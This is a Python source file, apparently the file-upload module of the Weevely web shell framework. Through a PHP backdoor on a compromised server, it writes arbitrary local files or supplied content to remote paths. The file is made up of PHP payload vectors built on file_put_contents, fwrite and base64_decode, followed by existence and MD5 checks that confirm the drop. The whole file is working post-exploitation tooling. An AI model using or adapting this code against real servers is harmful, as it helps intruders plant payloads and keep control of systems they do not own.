import base64
import hashlib

from weevely.core import messages
from weevely.core.loggers import log
from weevely.core.module import Module
from weevely.core.vectors import ModuleExec
from weevely.core.vectors import PhpCode


class Upload(Module):
    """Upload file to remote filesystem."""

    def init(self):
        self.register_info({"author": ["Emilio Pinna"], "license": "GPLv3"})

        self.register_vectors(
            [
                PhpCode(
                    "(file_put_contents('${rpath}',base64_decode('${content}'))&&print(1))||print(0);",
                    name="file_put_contents",
                ),
                PhpCode(
                    """($h=fopen("${rpath}","a+")&&fwrite($h,base64_decode('${content}'))&&fclose($h)&&print(1))||print(0);""",
                    name="fwrite",
                ),
            ]
        )

        self.register_arguments(
            [
                {"name": "lpath", "help": "Local file path", "nargs": "?"},
                {"name": "rpath", "help": "Remote file path"},
                {"name": "-force", "help": "Force overwrite", "action": "store_true", "default": False},
                {"name": "-content", "help": "Optionally specify the file content"},
                {"name": "-vector", "choices": self.vectors.get_names(), "default": "file_put_contents"},
            ]
        )

    def run(self, **kwargs):
        content_orig = self.args.get("content")

        if content_orig == None:
            # Load local file
            lpath = self.args.get("lpath")
            if not lpath:
                log.warning(messages.module_file_upload.error_content_lpath_required)
                return None

            try:
                with open(lpath, "rb") as contentfile:
                    content_orig = contentfile.read()
            except Exception as e:
                log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e)))
                return None
        else:
            content_orig = content_orig.encode("utf-8")

        self.args["content"] = base64.b64encode(content_orig).decode("utf-8")

        # Check remote file existence
        if not self.args["force"] and ModuleExec("file_check", [self.args["rpath"], "exists"]).run():
            log.warning(messages.generic.error_file_s_already_exists % self.args["rpath"])
            return None

        vector_name, result = self.vectors.find_first_result(
            format_args=self.args, condition=lambda result: True if result == "1" else False
        )

        if not ModuleExec("file_check", [self.args["rpath"], "exists"]).run():
            log.warning(messages.module_file_upload.failed_upload_file)
            return None

        if not (ModuleExec("file_check", [self.args["rpath"], "md5"]).run() == hashlib.md5(content_orig).hexdigest()):
            log.warning(messages.module_file_upload.failed_md5_check)
            return None

        return True